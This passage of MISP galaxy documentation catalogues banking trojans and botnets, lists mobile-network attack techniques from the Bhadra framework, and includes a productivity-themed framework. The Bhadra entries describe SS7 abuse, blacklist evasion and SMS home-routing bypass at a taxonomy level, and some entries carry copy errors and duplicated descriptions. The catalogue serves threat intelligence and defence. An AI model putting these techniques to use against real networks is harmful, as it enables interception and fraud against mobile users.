- similar: misp-galaxy:malpedia="IcedID" with estimative-language:likelihood-probability="likely"

Table 685. Table References

Links
https://www.bleepingcomputer.com/news/security/new-icedid-banking-trojan-discovered/
https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/
http://blog.talosintelligence.com/2018/04/icedid-banking-trojan.html
https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/

GratefulPOS

GratefulPOS has the following functions 1. Access arbitrary processes on the target POS system 2. Scrape track 1 and 2 payment card data from the process(es) 3. Exfiltrate the payment card data via lengthy encoded and obfuscated DNS queries to a hardcoded domain registered and controlled by the perpetrators, similar to that described by Paul Rascagneres in his analysis of FrameworkPOS in 2014[iii], and more recently by Luis Mendieta of Anomoli in analysis of a precursor to this sample.

The tag is: *misp-galaxy:banker="GratefulPOS"*

View relationships graph

GratefulPOS has relationships with:

- similar: misp-galaxy:tool="GratefulPOS" with estimative-language:likelihood-probability="likely"

Table 686. Table References

Links
https://community.rsa.com/community/products/netwitness/blog/2017/12/08/gratefulpos-credit-card-stealing-malware-just-in-time-for-the-shopping-season

Dok

A macOS banking trojan that that redirects an infected user's web traffic in order to extract banking credentials.

The tag is: *misp-galaxy:banker="Dok"*

View relationships graph

Dok has relationships with:

- similar: misp-galaxy:malpedia="Retefe (Android)" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Dok" with estimative-language:likelihood-probability="likely"

Table 687. Table References

Links
https://objective-see.com/blog/blog_0x25.html#Dok

downAndExec

Services like Netflix use content delivery networks (CDNs) to maximize bandwidth usage as it gives users greater speed when viewing the content, as the server is close to them and is part of the Netflix CDN. This results in faster loading times for series and movies, wherever you are in the world. But, apparently, the CDNs are starting to become a new way of spreading malware. The

attack chain is very extensive, and incorporates the execution of remote scripts (similar in some respects to the recent “fileless” banking malware trend), plus the use of CDNs for command and control (C&C), and other standard techniques for the execution and protection of malware.

The tag is: *misp-galaxy:banker="downAndExec"*

Table 688. Table References

Links
https://www.welivesecurity.com/2017/09/13/downandexec-banking-malware-cdns-brazil/

Smominru

Since the end of May 2017, we have been monitoring a Monero miner that spreads using the EternalBlue Exploit (CVE-2017-0144). The miner itself, known as Smominru (aka Ismo) has been well-documented, so we will not discuss its post-infection behavior. However, the miner’s use of Windows Management Infrastructure is unusual among coin mining malware. The speed at which mining operations conduct mathematical operations to unlock new units of cryptocurrency is referred to as “hash power”. Based on the hash power associated with the Monero payment address for this operation, it appeared that this botnet was likely twice the size of Adylkuzz. The operators had already mined approximately 8,900 Monero (valued this week between $2.8M and $3.6M). Each day, the botnet mined roughly 24 Monero, worth an average of $8,500 this week.

The tag is: *misp-galaxy:banker="Smominru"*

Smominru is also known as:

- Ismo
- lsmo

View relationships graph

Smominru has relationships with:

- similar: misp-galaxy:malpedia="Smominru" with estimative-language:likelihood-probability="likely"

Table 689. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/smominru-monero-mining-botnet-making-millions-operators

DanaBot

It’s a Trojan that includes banking site web injections and stealer functions. It consists of a downloader component that downloads an encrypted file containing the main DLL. The DLL, in turn, connects using raw TCP connections to port 443 and downloads additional modules (i.e. VNCDLL.dll, StealerDLL.dll, ProxyDLL.dll)

The tag is: *misp-galaxy:banker="DanaBot"*

View relationships graph

DanaBot has relationships with:

- similar: misp-galaxy:malpedia="DanaBot" with estimative-language:likelihood-probability="likely"

Table 690. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/danabot-new-banking-trojan-surfaces-down-under-0
https://www.bleepingcomputer.com/news/security/danabot-banking-malware-now-targeting-banks-in-the-us/

Backswap

The banker is distributed through malicious email spam campaigns. Instead of using complex process injection methods to monitor browsing activity, the malware hooks key Windows message loop events in order to inspect values of the window objects for banking activity. The payload is delivered as a modified version of a legitimate application that is partially overwritten by the malicious payload

The tag is: *misp-galaxy:banker="Backswap"*

Table 691. Table References

Links
https://www.cert.pl/news/single/analiza-zlosliwego-oprogramowania-backswap/
https://www.welivesecurity.com/2018/05/25/backswap-malware-empty-bank-accounts/

Bebloh

The tag is: *misp-galaxy:banker="Bebloh"*

Bebloh is also known as:

- URLZone
- Shiotob

View relationships graph

Bebloh has relationships with:

- similar: misp-galaxy:malpedia="UrlZone" with estimative-language:likelihood-probability="likely"

Table 692. Table References

Links
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanSpy:Win32/Bebloh.A
https://www.symantec.com/security-center/writeup/2011-041411-0912-99

Banjori

The tag is: *misp-galaxy:banker="Banjori"*

Banjori is also known as:

- MultiBanker 2
- BankPatch
- BackPatcher

View relationships graph

Banjori has relationships with:

- similar: misp-galaxy:malpedia="Banjori" with estimative-language:likelihood-probability="likely"

Table 693. Table References

Links
https://www.johannesbader.ch/2015/02/the-dga-of-banjori/

Qadars

The tag is: *misp-galaxy:banker="Qadars"*

View relationships graph

Qadars has relationships with:

- similar: misp-galaxy:malpedia="Qadars" with estimative-language:likelihood-probability="likely"

Table 694. Table References

Links
https://www.countercept.com/our-thinking/decrypting-qadars-banking-trojan-c2-traffic/

Sisron

The tag is: *misp-galaxy:banker="Sisron"*

Table 695. Table References

Links
https://www.johannesbader.ch/2016/06/the-dga-of-sisron/

Ranbyus

The tag is: *misp-galaxy:banker="Ranbyus"*

View relationships graph

Ranbyus has relationships with:

- similar: misp-galaxy:malpedia="Ranbyus" with estimative-language:likelihood-probability="likely"

Table 696. Table References

Links
https://www.johannesbader.ch/2016/06/the-dga-of-sisron/

Fobber

The tag is: *misp-galaxy:banker="Fobber"*

View relationships graph

Fobber has relationships with:

- similar: misp-galaxy:malpedia="Fobber" with estimative-language:likelihood-probability="likely"

Table 697. Table References

Links
https://searchfinancialsecurity.techtarget.com/news/4500249201/Fobber-Drive-by-financial-malware-returns-with-new-tricks

Karius

Trojan under development and already being distributed through the RIG Exploit Kit. Observed code similarities with other well-known bankers such as Ramnit, Vawtrak and TrickBot. Karius works in a rather traditional fashion to other banking malware and consists of three components (injector32\64.exe, proxy32\64.dll and mod32\64.dll), these components essentially work together to deploy webinjects in several browsers.

The tag is: *misp-galaxy:banker="Karius"*

View relationships graph

Karius has relationships with:

- similar: misp-galaxy:malpedia="Karius" with estimative-language:likelihood-probability="likely"

Table 698. Table References

Links
https://research.checkpoint.com/banking-trojans-development/

Kronos

Kronos was a type of banking malware first reported in 2014. It was sold for $7000. As of September 2015, a renew version was reconnecting with infected bots and sending them a brand new configuration file against U.K. banks and one bank in India. Similar to Zeus it was focused on stealing banking login credentials from browser sessions. A new version of this malware appears to have been used in 2018, the main difference is that the 2018 edition uses Tor-hosted C&C control panels.

The tag is: *misp-galaxy:banker="Kronos"*

View relationships graph

Kronos has relationships with:

- similar: misp-galaxy:malpedia="Kronos" with estimative-language:likelihood-probability="likely"

Table 699. Table References

Links
https://en.wikipedia.org/wiki/Kronos_(malware)
https://www.proofpoint.com/us/threat-insight/post/kronos-banking-trojan-used-to-deliver-new-point-of-sale-malware
https://www.bleepingcomputer.com/news/security/new-version-of-the-kronos-banking-trojan-discovered/

CamuBot

A newly discovered banking Trojan departs from the regular tactics observed by malware researchers by choosing visible installation and by adding social engineering components. CamuBot appeared last month in Brazil targeting companies and organizations from the public sector. The victim is the one installing the malware, at the instructions of a human operator that pretends to be a bank employee.

The tag is: *misp-galaxy:banker="CamuBot"*

View relationships graph

CamuBot has relationships with:

- similar: misp-galaxy:malpedia="CamuBot" with estimative-language:likelihood-probability="likely"

Table 700. Table References

Links
https://www.bleepingcomputer.com/news/security/new-banking-trojan-poses-as-a-security-module/ [https://www.bleepingcomputer.com/news/security/new-banking-trojan-poses-as-a-security-module/]

Dark Tequila

Dark Tequila has primarily been designed to steal victims' financial information from a long list of online banking sites, as well as login credentials to popular websites, ranging from code versioning repositories to public file storage accounts and domain registrars.

The tag is: *misp-galaxy:banker="Dark Tequila"*

Table 701. Table References

Links
https://thehackernews.com/2018/08/mexico-banking-malware.html

Malteiro

Distributed by Malteiro

The tag is: *misp-galaxy:banker="Malteiro"*

Malteiro is also known as:

- URSA

View relationships graph

Malteiro has relationships with:

- delivered-by: misp-galaxy:threat-actor="Malteiro" with estimative-language:likelihood-probability="likely"

Table 702. Table References

Links
https://blog.scilabs.mx/en/cyber-threat-profile-malteiro/

Bhadra Framework

Bhadra Threat Modeling Framework.

Bhadra Framework is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Siddharth Prakash Rao - Silke Holtmanns - Tuomas Aura

Attacks from UE

"Attacks from UE" refers to any technique that involves the attacks launched by the software or hardware components of the user equipment to send malicious traffic into the mobile network.

The tag is: *misp-galaxy:bhadra-framework="Attacks from UE"*

SIM-based attacks

The "SIM-based attacks" are the techniques that involve any physical smart cards, namely SIM from 2G, USIM from 3G, and UICC from 4G networks.

The tag is: *misp-galaxy:bhadra-framework="SIM-based attacks"*

Attacks from radio access network

The "attacks from radio access network" are the techniques where an adversary with radio capabilities impersonates the mobile network to the UE (or vice versa) and becomes a man-in-the-middle.

The tag is: *misp-galaxy:bhadra-framework="Attacks from radio access network"*

Attacks from other mobile network

The "attacks from other mobile networks" and the "attacks with physical access to transport network" techniques can be conducted by evil mobile operators, law enforcement agencies for legal interception and human insiders with access to network nodes

The tag is: *misp-galaxy:bhadra-framework="Attacks from other mobile network"*

Attacks with access to transport network

The "attacks from other mobile networks" and the "attacks with physical access to transport network" techniques can be conducted by evil mobile operators, law enforcement agencies for legal interception and human insiders with access to network nodes

The tag is: *misp-galaxy:bhadra-framework="Attacks with access to transport network"*

Attacks from IP-based network

The "attacks from IP-based attacks" techniques mostly are launched from the service and application network, which allows non operator entities to infuse malicious tra□c into an operator's network.

The tag is: *misp-galaxy:bhadra-framework="Attacks from IP-based network"*

Insider attacks and human errors

The "insider attacks and human errors" technique involve the intentional attacks and unintentional mistakes from human insiders with access to any component of the mobile communication ecosystem.

The tag is: *misp-galaxy:bhadra-framework="Insider attacks and human errors"*

Infecting UE hardware or software

Retaining the foothold gained on the target system through the initial access by infecting UE hardware or software.

The tag is: *misp-galaxy:bhadra-framework="Infecting UE hardware or software"*

Infecting SIM cards

Retaining the foothold gained on the target system through the initial access by infecting SIM cards.

The tag is: *misp-galaxy:bhadra-framework="Infecting SIM cards"*

Spoofed radio network

Retaining the foothold gained on the target system through the initial access by radio network spoofing.

The tag is: *misp-galaxy:bhadra-framework="Spoofed radio network"*

Infecting network nodes

Retaining the foothold gained on the target system through the initial access by infecting network nodes.

The tag is: *misp-galaxy:bhadra-framework="Infecting network nodes"*

Covert channels

Retaining the foothold gained on the target system through the initial access via covert channels.

The tag is: *misp-galaxy:bhadra-framework="Covert channels"*

Port scanning or sweeping

"Port scanning or sweeping" techniques to probe servers or hosts with open ports.

The tag is: *misp-galaxy:bhadra-framework="Port scanning or sweeping"*

Perimeter mapping

"perimeter mapping" techniques such as command-line utilities (e.g., nmap and whois), web-based lookup tools and official APIs provided by the Internet registrars that assign the ASNs using a wide range of publicly available sources.

The tag is: *misp-galaxy:bhadra-framework="Perimeter mapping"*

Threat intelligence gathering

"Threat intelligence gathering" using dedicated search engines (such as Censys, Shodan) to gather information about vulnerable devices or networks, or using advanced search options of traditional search engines.

The tag is: *misp-galaxy:bhadra-framework="Threat intelligence gathering"*

CN-specific scanning

"CN-specific scanning", used to scan nodes that are interconnected with protocols specific to the mobile communication domain (GTP, SCTP).

The tag is: *misp-galaxy:bhadra-framework="CN-specific scanning"*

Internal resource search

"Internal resource search" refers to an insider with access to provider internal databases abusing the information as a discovery tactic.

The tag is: *misp-galaxy:bhadra-framework="Internal resource search"*

UE knocking

"UE knocking" refers to the technique that scans User Equipment, similarly to how IP endpoints and core network nodes are scanned or mapped.

The tag is: *misp-galaxy:bhadra-framework="UE knocking"*

Exploit roaming agreements

"Exploit roaming agreements" is a technique exploited by evil mobile operators. Despite communication with operators is dependent on a roaming agreement being in place, an attacker that has gained a foothold with one operator, it can abuse the roaming agreements in place for lateral movement with all adjacent operators with agreements in place.

The tag is: *misp-galaxy:bhadra-framework="Exploit roaming agreements"*

Abusing interworking functionalities

"Abusing Inter-working functionalities" is a technique for adversaries to move between networks of different generations laterally

The tag is: *misp-galaxy:bhadra-framework="Abusing interworking functionalities"*

Exploit platform & service-specific vulnerabilities

Once an attacker has gained a foothold in an operator, it can conduct privilege escalation and process injection for gaining administrative rights, password cracking of valid user accounts on the nodes, exploit vulnerabilities in databases and file systems, and take advantage of improper configurations of routers and switches.

The tag is: *misp-galaxy:bhadra-framework="Exploit platform & service-specific vulnerabilities"*

SS7-based-attacks

Attacks abusing the SS7 protocol.

The tag is: *misp-galaxy:bhadra-framework="SS7-based-attacks"*

Diameter-based attacks

Attacks abusing the Diameter protocol.

The tag is: *misp-galaxy:bhadra-framework="Diameter-based attacks"*

GTP-based attacks

Attacks abusing the GTP protocol.

The tag is: *misp-galaxy:bhadra-framework="GTP-based attacks"*

DNS-based attacks

DNS based attacks.

The tag is: *misp-galaxy:bhadra-framework="DNS-based attacks"*

Pre-AKA attacks

Attack techniques that take place during the unencrypted communication that occurs prior to the AKA protocol.

The tag is: *misp-galaxy:bhadra-framework="Pre-AKA attacks"*

Security audit camouflage

The operating systems, software, and services used on the network nodes are prone to security vulnerabilities and installation of unwanted malware. Although operators conduct routine security audits to track and patch the vulnerabilities or remove the malware from the infected nodes, their effectiveness is not known to the public. Any means by which an adversary can remain undetected from such audits are referred to as the security audit camouflage technique.

The tag is: *misp-galaxy:bhadra-framework="Security audit camouflage"*

Blacklist evasion

Mobile operators employ several defenses in terms of securing their network traffic. For instance, operators maintain a whitelist of IPs and GTs of nodes from their own infrastructure and their partner operators (as agreed in IR 21), and traffic from only these nodes are processed. Similarly, a blacklist is also maintained to control spam due to configuration errors and malicious traffic. Anything from the blacklist is banned from entering the operator's network. Such defense mechanisms may defend against unsolicited traffic from external networks (e.g., from the public Internet and SAN), but it barely serves its purpose in the case of attacks from inter-operator communications. Since most of the communication protocols are unauthenticated in nature, an a□acker with knowledge of identifiers of the allowed nodes (i.e. gained during the discovery phase) can impersonate their identity. We call it the blacklist evasion technique.

The tag is: *misp-galaxy:bhadra-framework="Blacklist evasion"*

Middlebox misconfiguration exploits

NAT middleboxes are used for separating private networks of mobile operators from public Internet works as the second line of defense. However, studies have shown that the middleboxes deployed by operators are prone to misconfigurations that allow adversaries to infiltrate malicious traffic into mobile networks e.g., by spoofing the IP headers. Some of the other NAT vulnerabilities lie in IPv4-to-IPv6 address mapping logic, which can be exploited by adversaries to exhaust the resources, wipe out the mapping, or to assist with blacklist evasion. Adversaries use such middlebox misconfiguration exploit techniques to launch denial-of-service or over-billing attacks.

The tag is: *misp-galaxy:bhadra-framework="Middlebox misconfiguration exploits"*

Bypass Firewall

Adversaries (e.g., evil operators) can for example exploit the implicit trust between roaming partners as a bypass firewall technique.

The tag is: *misp-galaxy:bhadra-framework="Bypass Firewall"*

Bypass homerouting

SMS home routing is a defense mechanism, where an additional SMS router intervenes in external location queries for SMS deliveries, and the roaming network takes the responsibility of delivering the SMS without providing location information to the external entity. Although many operators have implemented SMS home routing solutions, there are no silver bullets. If the SMS routers are incorrectly configured, adversaries can hide SMS delivery location queries within other messages so that the SMS home router fails to process them. We refer to it as the bypass home routing technique.

The tag is: *misp-galaxy:bhadra-framework="Bypass homerouting"*

Downgrading

Attacks on the radio access networks are well-studied and newer generations are designed to address the weaknesses in previous generations. Usage of weak cryptographic primitives, lack of integrity protection of the radio channels, and one-sided authentication (only from the network) remain as the problem of mostly GSM only radio communication. So, radio link attackers use downgrading as an attack technique to block service over newer generations and accept to serve only in the GSM radio network. The downgrading technique works similarly in the core network, where the adversary accepts to serve only in SS7-based signaling instead of Diameterbased signaling. Using interworking functions for inter-generation communication translation could make the downgrading attacks much easier.

The tag is: *misp-galaxy:bhadra-framework="Downgrading"*

Redirection

Redirection technique is a variant of the downgrading technique, where an adversary forcefully routes the traffic through networks or components that are under its control. By redirecting traffic to an unsafe network, the adversary can intercept mobile communication (e.g., calls and SMS) on the RAN part. Redirection attacks on the core network result in not only communication interception, but also in billing discrepancies, as an adversary can route the calls of a mobile user from its home network through a foreign network on a higher call rate.

The tag is: *misp-galaxy:bhadra-framework="Redirection"*

UE Protection evasion

Protection on the UE is mainly available in the form of antivirus apps as a defense against viruses and malware that steals sensitive information (e.g., banking credentials and user passwords) or track user activities. Simple visual cues on UE (such as notifications) could also be a protection mechanism by itself. Unfortunately, mobile network-based attacks cannot be detected or defended effectively from UE's side by traditional antivirus apps, and such attacks do not trigger any visual signs. Although there are attempts for defending against radio link attacks, including citywide studies to detect IMSI catchers, their effectiveness is still under debate. Similarly, there are recent attempts to detect signaling attacks using distance bounding protocol run from a UE. However, such solutions are still in the research phase, and their effectiveness on a large scale is still untested. To this end, the absence of robust detection and defense mechanisms on the UE is, in fact, an evasion mechanism for an adversary. We refer to them as UE protection evasion techniques.

The tag is: *misp-galaxy:bhadra-framework="UE Protection evasion"*

Admin credentials

Stealing legitimate admin credentials for critical nodes is beneficial for the adversary to increase its chances of persistence to the target or masquerade its activities.

The tag is: *misp-galaxy:bhadra-framework="Admin credentials"*

User-specific identifiers

User-specific identifiers such as IMSI and IMEI are an indicator for who owns UE with a specific subscription and where a UE is located physically. Since mobile users always keep their mobile phones physically near them, an adversary with the knowledge of these permanent identifiers will be able to determine whether or not a user is in a specific location. On the other hand, temporary identifiers (e.g., TMSI and GUTI) are used to reduce the usage of permanent identifiers like IMSI over radio channels. Although the temporary identifiers are supposed to change frequently and expected to live for a short period, research has shown that it is not the case

The tag is: *misp-galaxy:bhadra-framework="User-specific identifiers"*

User-specific data

Adversaries can collect several types of user-specific data, such as the content of SMS and calls, location dumps from base stations, call and billing records, and browsing-related data (such as DNS queries and unencrypted browsing sessions).

The tag is: *misp-galaxy:bhadra-framework="User-specific data"*

Network-specific identifiers

Adversaries aim to collect network-specific identifiers such as GTs and IPs of critical nodes and Tunnel Endpoint Identifier (TEID) of GTP tunnels from operators' networks

The tag is: *misp-galaxy:bhadra-framework="Network-specific identifiers"*

Network-specific data

Adversaries may also be interested in network-specific data that are obtained mainly during the execution of discovery tactics. Such data includes, e.g., the network topology, the trust relationship between different nodes, routing metadata, and sensitive documents

The tag is: *misp-galaxy:bhadra-framework="Network-specific data"*

Location tracking

Attacker is able to track the location of the target end-user.

The tag is: *misp-galaxy:bhadra-framework="Location tracking"*

Calls eavesdropping

Attacker is able to eavesdrop on calls.

The tag is: *misp-galaxy:bhadra-framework="Calls eavesdropping"*

SMS interception

Attacker is able to intercept SMS messages.

The tag is: *misp-galaxy:bhadra-framework="SMS interception"*

Data interception

Attacker is able to intercept or modify internet traffic.

The tag is: *misp-galaxy:bhadra-framework="Data interception"*

Billing frauds

Billing frauds refer to various types of attacks where an adversary causes financial discrepancies for operators.

The tag is: *misp-galaxy:bhadra-framework="Billing frauds"*

DoS - network

The attacker can create signaling havoc in specific nodes of operators by repeatedly triggering resource allocation or revocation requests.

The tag is: *misp-galaxy:bhadra-framework="DoS - network"*

DoS - user

The attacker can cause denial of service to mobile users.

The tag is: *misp-galaxy:bhadra-framework="DoS - user"*

Identity-related attacks

Identity-based attacks involve attack techniques using userand network-specific identifiers. Identity-based attacks cause harm to the privacy of mobile users and produce fraudulent traffic that incurs a financial loss to operators. In most cases, identity-based attacks are used in impersonation, where an adversary impersonates a legitimate mobile user to the core network without possessing appropriate credentials, for example, to avail free mobile services. Most of the signaling attacks that use SS7 are also fall into this category. In other cases, identitybased attacks involve identity mapping, where the adversaries map temporary identifiers (e.g., TMSI and GUTI) to permanent identifiers (e.g., IMSI or MSISDN). In rare cases, the IMSI can further be mapped to social media identities.

The tag is: *misp-galaxy:bhadra-framework="Identity-related attacks"*

Busy is the New Stupid framework

Busy is the New Stupid framework - A tactical framework, examining how busyness compromises cognitive function, strategic thinking, and effectiveness. Created by Ross Young..

> Busy is the New Stupid framework is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Ross Young

T1001 Meeting Overload

Calendar filled with back-to-back meetings with no preparation time

The tag is: *misp-galaxy:bitns="T1001 Meeting Overload"*

T1002 Email Bombardment

Overwhelming inbox creating constant interruption cycles

The tag is: *misp-galaxy:bitns="T1002 Email Bombardment"*

T1003 Urgency Injection

Everything marked as urgent/high priority, eliminating discernment

The tag is: *misp-galaxy:bitns="T1003 Urgency Injection"*

T2001 Multitasking Deployment

Attempting multiple tasks simultaneously, reducing effectiveness

The tag is: *misp-galaxy:bitns="T2001 Multitasking Deployment"*

T2002 Context Switching

Rapid switching between unrelated tasks destroying deep work

The tag is: *misp-galaxy:bitns="T2002 Context Switching"*

T2003 Reactive Mode

Rapid switching between unrelated tasks destroying deep work

The tag is: *misp-galaxy:bitns="T2003 Reactive Mode"*

T3001 Always-On Culture

Expectation of 24/7 availability and instant responses

The tag is: *misp-galaxy:bitns="T3001 Always-On Culture"*

T3002 Productivity Theater

Performative busyness valued over actual results

The tag is: *misp-galaxy:bitns="T3002 Productivity Theater"*

T3003 FOMO Reinforcement

Fear of missing out keeps engagement with non-essential activities

The tag is: *misp-galaxy:bitns="T3003 FOMO Reinforcement"*

T4001 Boundary Erosion

Gradual elimination of work-life boundaries

The tag is: *misp-galaxy:bitns="T4001 Boundary Erosion"*

T4002 Priority Confusion

Important vs urgent distinction becomes impossible to maintain

The tag is: *misp-galaxy:bitns="T4002 Priority Confusion"*

T4003 Delegation Avoidance

Belief that you must do everything yourself

The tag is: *misp-galaxy:bitns="T4003 Delegation Avoidance"*

T5001 Strategic Blindness

Unable to see big picture or long-term goals

The tag is: *misp-galaxy:bitns="T5001 Strategic Blindness"*

T5002 Decision Quality Degradation

Rushed decisions based on incomplete information

The tag is: *misp-galaxy:bitns="T5002 Decision Quality Degradation"*

T5003 Creative Capacity Destruction

No mental space for innovation or deep thinking

The tag is: *misp-galaxy:bitns="T5003 Creative Capacity Destruction"*

T5004 Relationship Erosion

Superficial interactions replace meaningful connections

The tag is: *misp-galaxy:bitns="T5004 Relationship Erosion"*

D0001 Intentionality Over Activity

Every commitment should align with explicit goals and values, not just fill time

The tag is: *misp-galaxy:bitns="D0001 Intentionality Over Activity"*

D0002 Regular Systems Audits

Monthly review of all recurring commitments to eliminate what no longer serves you

The tag is: *misp-galaxy:bitns="D0002 Regular Systems Audits"*

D0003 Strategic Saying No

Every commitment should align with explicit goals and values, not just fill time

The tag is: *misp-galaxy:bitns="D0003 Strategic Saying No"*

D0004 Sustainable Pace

Every commitment should align with explicit goals and values, not just fill time

The tag is: *misp-galaxy:bitns="D0004 Sustainable Pace"*

D1001 Calendar Auditing

Review all recurring meetings quarterly require justification for continuation

The tag is: *misp-galaxy:bitns="D1001 Calendar Auditing"*

D1002 Meeting-Free Blocks

Designate specific days or half-days as no-meeting zones for deep work

The tag is: *misp-galaxy:bitns="D1002 Meeting-Free Blocks"*

D1003 Email Triage System

Implement filters and scheduled checking times instead of constant monitoring

The tag is: *misp-galaxy:bitns="D1003 Email Triage System"*

D1004 Priority Classification Training

Establish clear criteria for urgency levels and enforce consistent usage

The tag is: *misp-galaxy:bitns="D1004 Priority Classification Training"*

D2001 Single-Tasking Protocol

Work on one task at a time with all other apps and tabs closed

The tag is: *misp-galaxy:bitns="D2001 Single-Tasking Protocol"*

D2002 Task Batching

Group similar tasks together to minimize context switching costs

The tag is: *misp-galaxy:bitns="D2002 Task Batching"*

D2003 Pomodoro Technique

Use 25-minute focused work sessions with 5-minute breaks

The tag is: *misp-galaxy:bitns="D2003 Pomodoro Technique"*

D2004 Proactive Planning Time

Dedicate first hour of day to planning rather than reacting to demands

The tag is: *misp-galaxy:bitns="D2004 Proactive Planning Time"*

D3001 Digital Sunset

Strict cutoff time for all work devices (e.g., 7 PM) to force psychological detachment

The tag is: *misp-galaxy:bitns="D3001 Digital Sunset"*

D3002 Outcome-Based Metrics

Shift focus from "hours online" to "results delivered" to combat theater

The tag is: *misp-galaxy:bitns="D3002 Outcome-Based Metrics"*

D3003 JOMO Practice

Embrace the "Joy of Missing Out" by intentionally ignoring non-critical threads

The tag is: *misp-galaxy:bitns="D3003 JOMO Practice"*

D3004 Availability SLAs

Publish expected response times (e.g., "I reply within 24 hours") to set expectations

The tag is: *misp-galaxy:bitns="D3004 Availability SLAs"*

D4001 Transition Ceremonies

Create rituals that mark the end of work (closing laptop, changing clothes, walk)

The tag is: *misp-galaxy:bitns="D4001 Transition Ceremonies"*

D4002 MIT (Most Important Things) Method

Identify 1-3 must-do tasks daily and complete them before anything else

The tag is: *misp-galaxy:bitns="D4002 MIT (Most Important Things) Method"*

D4003 80/20 Task Analysis

Regularly identify which 20% of activities produce 80% of results and focus there

The tag is: *misp-galaxy:bitns="D4003 80/20 Task Analysis"*

D4004 Team Capacity Building

Invest time upfront in training and empowering others to reduce long-term dependencies

The tag is: *misp-galaxy:bitns="D4004 Team Capacity Building"*

D5001 Vision Boarding Sessions

Monthly half-day retreats to reconnect with long-term vision and adjust course

The tag is: *misp-galaxy:bitns="D5001 Vision Boarding Sessions"*

D5002 Pre-Commitment Strategy

Sleep on major decisions and consult trusted advisors before committing

The tag is: *misp-galaxy:bitns="D5002 Pre-Commitment Strategy"*

D5003 Boredom Cultivation

Deliberately schedule unstructured time for mind-wandering and creative breakthroughs

The tag is: *misp-galaxy:bitns="D5003 Boredom Cultivation"*

D5004 Connection Rituals

Establish non-negotiable quality time with important people without devices or distractions

The tag is: *misp-galaxy:bitns="D5004 Connection Rituals"*

Botnet

botnet galaxy.

Botnet is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Various

ADB.miner

A new botnet appeared over the weekend, and it's targeting Android devices by scanning for open debug ports so it can infect victims with malware that mines the Monero cryptocurrency.

The botnet came to life on Saturday, February 3, and is targeting port 5555, which on devices running the Android OS is the port used by the operating system's native Android Debug Bridge (ADB), a debugging interface that grants access to some of the operating system's most sensitive features.

Only devices running the Android OS have been infected until now, such as smartphones, smart TVs, and TV top boxes, according to security researchers from Qihoo 360's Network Security Research Lab [Netlab] division, the ones who discovered the botnet, which the named ADB.miner.

The tag is: *misp-galaxy:botnet="ADB.miner"*

Table 703. Table References

Links
https://www.bleepingcomputer.com/news/security/android-devices-targeted-by-new-monero-mining-botnet/

Bagle

Bagle (also known as Beagle) was a mass-mailing computer worm affecting Microsoft Windows. The first strain, Bagle.A, did not propagate widely. A second variant, Bagle.B, was considerably more virulent.

The tag is: *misp-galaxy:botnet="Bagle"*

Bagle is also known as:

- Beagle
- Mitglieder
- Lodeight

View relationships graph

Bagle has relationships with:

- similar: misp-galaxy:malpedia="Bagle" with estimative-language:likelihood-probability="likely"

Table 704. Table References

Links
https://en.wikipedia.org/wiki/Bagle_(computer_worm)

Marina Botnet

Around the same time Bagle was sending spam messages all over the world, the Marina Botnet quickly made a name for itself. With over 6 million bots pumping out spam emails every single day, it became apparent these “hacker tools” could get out of hand very quickly. At its peak, Marina Botnet delivered 92 billion spam emails per day.

The tag is: *misp-galaxy:botnet="Marina Botnet"*

Marina Botnet is also known as:

- Damon Briant
- BOB.dc
- Cotmonger
- Hacktool.Spammer
- Kraken

View relationships graph

Marina Botnet has relationships with:

- similar: misp-galaxy:botnet="Kraken" with estimative-language:likelihood-probability="likely"

Table 705. Table References

Links
https://en.wikipedia.org/wiki/Botnet

Torpig

Torpig, also known as Anserin or Sinowal is a type of botnet spread through systems compromised by the Mebroot rootkit by a variety of trojan horses for the purpose of collecting sensitive personal and corporate data such as bank account and credit card information. It targets computers that use Microsoft Windows, recruiting a network of zombies for the botnet. Torpig circumvents antivirus software through the use of rootkit technology and scans the infected system for credentials, accounts and passwords as well as potentially allowing attackers full access to the computer. It is also purportedly capable of modifying data hajimeon the computer, and can perform man-in-the-browser attacks.

The tag is: *misp-galaxy:botnet="Torpig"*

Torpig is also known as:

- Sinowal
- Anserin

View relationships graph

Torpig has relationships with:

- similar: misp-galaxy:malpedia="Sinowal" with estimative-language:likelihood-probability="likely"

Table 706. Table References

Links
https://en.wikipedia.org/wiki/Torpig

Storm

The Storm botnet or Storm worm botnet (also known as Dorf botnet and Ecard malware) is a remotely controlled network of "zombie" computers (or "botnet") that have been linked by the Storm Worm, a Trojan horse spread through e-mail spam. At its height in September 2007, the Storm botnet was running on anywhere from 1 million to 50 million computer systems, and accounted for 8% of all malware on Microsoft Windows computers. It was first identified around January 2007, having been distributed by email with subjects such as "230 dead as storm batters Europe," giving it its well-known name. The botnet began to decline in late 2007, and by mid-2008, had been reduced to infecting about 85,000 computers, far less than it had infected a year earlier.

The tag is: *misp-galaxy:botnet="Storm"*

Storm is also known as:

- Nuwar
- Peacomm
- Zhelatin
- Dorf
- Ecard

Table 707. Table References

Links
https://en.wikipedia.org/wiki/Storm_botnet

Rustock

The tag is: *misp-galaxy:botnet="Rustock"*

Rustock is also known as:

- RKRustok
- Costrat

View relationships graph

Rustock has relationships with:

- similar: misp-galaxy:malpedia="Rustock" with estimative-language:likelihood-probability="likely"

Table 708. Table References

Links
https://en.wikipedia.org/wiki/Rustock_botnet

Donbot

The tag is: *misp-galaxy:botnet="Donbot"*

Donbot is also known as:

- Buzus
- Bachsoy

View relationships graph

Donbot has relationships with:

- similar: misp-galaxy:malpedia="Buzus" with estimative-language:likelihood-probability="likely"

Table 709. Table References

Links
https://en.wikipedia.org/wiki/Donbot_botnet

Cutwail

The Cutwail botnet, founded around 2007, is a botnet mostly involved in sending spam e-mails. The bot is typically installed on infected machines by a Trojan component called Pushdo.] It affects computers running Microsoft Windows. related to: Wigon, Pushdo

The tag is: *misp-galaxy:botnet="Cutwail"*

Cutwail is also known as:

- Pandex
- Mutant

